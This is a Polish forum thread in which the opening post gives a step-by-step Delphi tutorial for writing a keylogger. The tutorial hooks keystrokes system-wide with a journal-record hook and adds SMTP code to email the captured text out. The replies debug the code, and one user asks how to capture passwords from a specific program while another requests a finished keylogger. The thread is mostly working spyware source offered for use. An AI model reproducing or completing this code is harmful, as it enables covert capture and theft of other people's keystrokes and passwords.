Keylogger w DELPHI - krok po kroku

emilianx

Użytkownik
Dołączył
Czerwiec 16, 2006
Posty
14
Wielu z Was zadawało mi pytanie, JAK NAPISAĆ PROSTEGO KEYLOGGERA i jakiego języka do tego używać. Myślę, że ta lektura rozjaśni co niektórym pewne wątpliwości i raz na zawsze pytania typu: JAK ZROBIĆ KEYLOGGERA ?? się skończą ... (to tak na marginesie). Artykuł ten szczegółowo opisuje jak łatwo można w Delphi stworzyć własnego prostego keyloggera.

Zapraszam również na stronę poświęconą KEYLOGGEROM GHOSTXP: www.ghostxp.prv.pl

Chciałbym na samym początku wyjaśnić, że nie jest to kod źródłowy GhostXP, Keylogger GhostXP zbudowany jest na zupełnie innej platformie przechwytującej, przy zastosowaniu zupełnie innych komponentów. Program GhostXP pozbawiony jest wielu wad, działa zupełnie w ukryciu, a do tego stosuje specjalne mechanizmy, które tym artykule nie są przedstawione. W tym artykule zastosowano bardzo prostą i ubogą funkcję przechwytującą strumień danych pochodzących z klawiatury.

Budowa Keyloggera oraz funkcjnalność jest uzależniona tylko i wyłącznie od samego autora.

Jedni piszą, że lepszy jest Delphi niektórzy, że C++. Chodzi o to Moi Drodzy, że to nie ma znaczenia. Faktem jest, że C++ jest szybszy, natomiast składnia języka jest troszkę mniej przyswajalna. Delphi jest prostsze jeśli chodzi o składnię ale za to programy (duże programy) działają wolniej po kompilacji niż te, które napisane są w C++.

Keylogger jest programem zdecydowanie małym i nie ma znaczenia tak naprawdę, czy będzie napisany w szybszym C++ czy w wolniejszym Object Pascal (Delphi).

Ze względu na łatwość przyswajania zdecydowałem się pokazać kod prostego KEYLOGGERA w języku Object Pascal.

Prościej się nie da
smile.gif
Oto najprostszy sposób przechwytywania klawiatury przez program napisany w Delphi.

A oto prosta funkcja. Jest dosyć prymitywna i niedoskonała, pokazuje bowiem tylko WIELKIE LITERY, ale dla początkujących myślę, że będzie dobrą lekcją.

Od czego zacząć ??

oczywiście Uruchamiamy Delphi 7 Personal lub najbogatszego ENTERPRISE.



Czynności jakie musimy wykonać :

1. Forma powinna zawierać komponent TMemo (otwieramy nowy projekt, po czym wstawiamy na formę komponent TMemo).

2. W projekcie Pod sekcją "private" w sekcji "var" wprowadzamy nowe zmienne:

Var

Hook : Integer;

MessageBuffer :TEventMsg;


3. Klikamy 1 raz na formę i przechodzimy do okna Object Inspektor. W zakładce Ewents (zdarzenia) szukamy sekcji "OnDestroy" i klikamy 2x celem wprowadzenia kodu w procedurze, która bedzie wygladać mniej więcej tak:

procedure TForm1.FormDestroy(Sender: TObject);
begin
UnHookWindowsHookEx(Hook); // wprowadzamy
end;




Następnie tworzymy funkcję ręcznie gdzieś w kodzie, najlepiej pod procedurą TForm1.FormDestroy(Sender: TObject);



// prosta Funkcja przechwytująca strumień danych TYLKO WIELKIE LITERY
function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall;
begin
case Code of
HC_ACTION: begin
MessageBuffer:=PEventMsg(lParam)^;
if MessageBuffer.message = wm_KeyDown then
begin

Form1.Memo1.Text:=Opcje.Memo1.Text+chr(MessageBuffer.paraml);
Result:=0;
end;
end;
else
begin
Result := CallNextHookEx(Hook, Code, wParam, lParam);
end;
end;
end;



Następnie również w Object Inspector i również w zakładce Events klikamy 2x na "OnCreate" i zbowu stworzy się na procedura o nazwie TForm1.FormCreate(Sender: TObject); . Dostosujmy ją by wygladała mniej więcej tak:

procedure TForm1.FormCreate(Sender: TObject);
begin
Hook:=SetWindowsHookEx(wh_journalrecord,play,HInstance,0);
end;

BINGO !!! F9 (run)


JAK WYSŁAĆ E-MAIL za pomocą Delphi ??

Jest to banalnie proste jesli posiadamy komponenty Indy9 lub 10...(ENTERPRISE) jak nie masz to znajć w google.

Przeanalizuj sobie poniższy kod.

Wstawiamy na formę następujące komponenty : idMessage, idSMTP i tworzymy procedurę :

Procedure CostamCostam(Sender : TObject);


Begin
MessageSend.Body.Append('tresc maila'; // wprowadzasz treść jako TMemo.Text

MessageSend.From.Name := 'imie od kogo'; //od kogo
MessageSend.From.Address := 'adres od kogo'; //podajesz adres e-mail nadawcy
MessageSend.Recipients.EMailAddresses := 'Odbiorca'; //adres e-mail odbiorcy
MessageSend.Subject := 'temat'; //temat listu

{ UserName bądź UserId - to jest zeleżne od wersji Indy.}

SMTP.UserName := 'nazwa użytkownika serwera SMTP';
SMTP.Password := 'hasło';
SMTP.Host := 'adres serwera SMTP';
SMTP.AuthenticationType:=atLogin; // autoryzacja SMTP
SMTP.Connect;
try
SMTP.Send(MessageSend); //wyślij
finally
SMTP.Disconnect; //jeśli zakończy to rozłącz z serwerem
end;
end;

BINGO

Wyjaśniam :

MessageSend to komponent : idMessage z zakładki IndyMisc
SMTP to idSMTP z zakladki IndyClients

Dobrze jest wstawić komponent idAntiFreeze aby program nie zatrzymywał się w momencie wysyłania poczty.

I tym własnie sposobem mamy najprostszego keyloggera.

POZDRAWIAM WSZYSTKICH.


Pytania i komentarze proszę umieszczać na forum.
 

Leithan

Użytkownik
Dołączył
Marzec 15, 2008
Posty
1
Zrobiłem w ten sposób program, tyle że kompilator wywala błąd.

Kod:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Memo1: TMemo;
    procedure FormDestroy(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  Hook : Integer;

MessageBuffer :TEventMsg;


implementation

{$R *.dfm}

procedure TForm1.FormDestroy(Sender: TObject);
begin
UnHookWindowsHookEx(Hook); // wprowadzamy
end;

function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall;
begin
case Code of
HC_ACTION: begin
MessageBuffer:=PEventMsg(lParam)^;
if MessageBuffer.message = wm_KeyDown then
begin

Form1.Memo1.Text:=Opcje.Memo1.Text+chr(MessageBuffer.paraml);
Result:=0;
end;
end;
else
begin
Result := CallNextHookEx(Hook, Code, wParam, lParam);
end;
end;
end;


procedure TForm1.FormCreate(Sender: TObject);
begin

Hook:=SetWindowsHookEx(wh_journalrecord,play,HInstance,0);
end;

end.

Spróbuj to uruchomić i powiedz co źle zrobiłem
<
 

nobek1208

Użytkownik
Dołączył
Sierpień 31, 2008
Posty
1
mam pytanie jak zrobic krylogera ktory wyciaga haslo z tylko z danego programu. czyli np uaktywnia sie po wlaczeniu danego programu i tylko z niego spisuje dane???
 

chaszman

Użytkownik
Dołączył
Październik 20, 2006
Posty
43
Tamten błąd rozwiązałem.

Tym razem wyskakuje mi takie okienko gdy wciskam F9[RUN-(wciskam F9 przed zrobieniem wysyłania na e-mail)
e56b248fc8853464med.jpg


Oto mój kod ... zrobiłem gdzieś błąd ?
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Memo1: TMemo;
procedure FormDestroy(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Hook : Integer;

MessageBuffer :TEventMsg;

implementation

{$R *.dfm}

procedure TForm1.FormDestroy(Sender: TObject);
function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall;
begin
case Code of
HC_ACTION: begin
MessageBuffer:=PEventMsg(lParam)^;
if MessageBuffer.message = wm_KeyDown then
begin

Form1.Memo1.Text:=Opcje.Memo1.Text+chr(MessageBuffer.paraml);
Result:=0;
end;
end;
else
begin
Result := CallNextHookEx(Hook, Code, wParam, lParam);
end;
end;
end;
begin
UnHookWindowsHookEx(Hook);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Hook:=SetWindowsHookEx(wh_journalrecord,play,HInstance,0);
end;

end.[/b]
 

Bezel21

Użytkownik
Dołączył
Maj 22, 2007
Posty
104
<div class='quotetop'>CYTAT(chaszman @ 3.10.2008, 21:40) <{POST_SNAPBACK}></div>
Tamten błąd rozwiązałem.

Tym razem wyskakuje mi takie okienko gdy wciskam F9[RUN-(wciskam F9 przed zrobieniem wysyłania na e-mail)
e56b248fc8853464med.jpg


Oto mój kod ... zrobiłem gdzieś błąd ?[/b]

Tak więc, w głównym Var usunęłeś:

Kod:
Form1: TForm1
;

Pozdro...
 

Bezel21

Użytkownik
Dołączył
Maj 22, 2007
Posty
104
<div class='quotetop'>CYTAT(chaszman @ 3.10.2008, 21:40) <{POST_SNAPBACK}></div>
Tamten błąd rozwiązałem.

Tym razem wyskakuje mi takie okienko gdy wciskam F9[RUN-(wciskam F9 przed zrobieniem wysyłania na e-mail)
e56b248fc8853464med.jpg


Oto mój kod ... zrobiłem gdzieś błąd ?[/b]

Tak więc, w głównym Var usunęłeś:

Kod:
Form1: TForm1;

Pozdro...
 

chaszman

Użytkownik
Dołączył
Październik 20, 2006
Posty
43
Chodzi mi o to:
Cały kod jeszcze nie robiłem wysyłania na e-mail
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs;

type
TForm1 = class(TForm)
Memo1: TMemo;
procedure FormDestroy(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
Hook : Integer;

MessageBuffer :TEventMsg;

implementation

{$R *.dfm}

procedure TForm1.FormDestroy(Sender: TObject);
function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall;
begin
case Code of
HC_ACTION: begin
MessageBuffer:=PEventMsg(lParam)^;
if MessageBuffer.message = wm_KeyDown then
begin

Form1.Memo1.Text:=Opcje.Memo1.Text+chr(MessageBuffer.paraml);
Result:=0;
end;
end;
else
begin
Result := CallNextHookEx(Hook, Code, wParam, lParam);
end;
end;
end;
begin
UnHookWindowsHookEx(Hook);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Hook:=SetWindowsHookEx(wh_journalrecord,play,HInstance,0);
end;

end.[/b]
Wciskam F9 (RUN) i zaznacza mi na czerwono to:
Form1.Memo1.Text:=Opcje.Memo1.Text+chr(MessageBuffer.paraml);[/b]
 

NeoDark

Użytkownik
Dołączył
Styczeń 20, 2007
Posty
6
kurcze no nie mogę, próbuje, próbuje i nic, cały czas wyskakuje mi na czerwono linijka:

Form1.Memo1.Text:=Opcje.Memo1.Text+chr(MessageBuffer.paraml);

tak samo jak chaszman'owi tyle, że na to jeszcze nikt nie odpisał...



wiem, że trzeba zadeklarować, ale wybaczcie, nie wiem jak ;P pomoże ktoś?
 

viper_1990

Użytkownik
Dołączył
Luty 1, 2007
Posty
4
<div class='quotetop'>CYTAT(NeoDark @ 8.01.2009, 21:49) <{POST_SNAPBACK}></div>
kurcze no nie mogę, próbuje, próbuje i nic, cały czas wyskakuje mi na czerwono linijka:

Form1.Memo1.Text:=Opcje.Memo1.Text+chr(MessageBuffer.paraml);

tak samo jak chaszman'owi tyle, że na to jeszcze nikt nie odpisał...



wiem, że trzeba zadeklarować, ale wybaczcie, nie wiem jak ;P pomoże ktoś?[/b]
wpisz Form1.Memo1.Text:=Form1.Memo1.Text+chr(MessageBuffer.paraml);
 

byczekg221

Użytkownik
Dołączył
Luty 15, 2009
Posty
1
mi jeszcze wywala bład przy
Kod:
Hook:=SetWindowsHookEx(wh_journalrecord,play,HInstance,0);

co msuze zmienic??
 

Neskot

Użytkownik
Dołączył
Marzec 24, 2009
Posty
1
A może ktoś przesłać mi Cały Kod? albo już całego keyleggora zrobionego
smile.gif
<
 
Do góry Bottom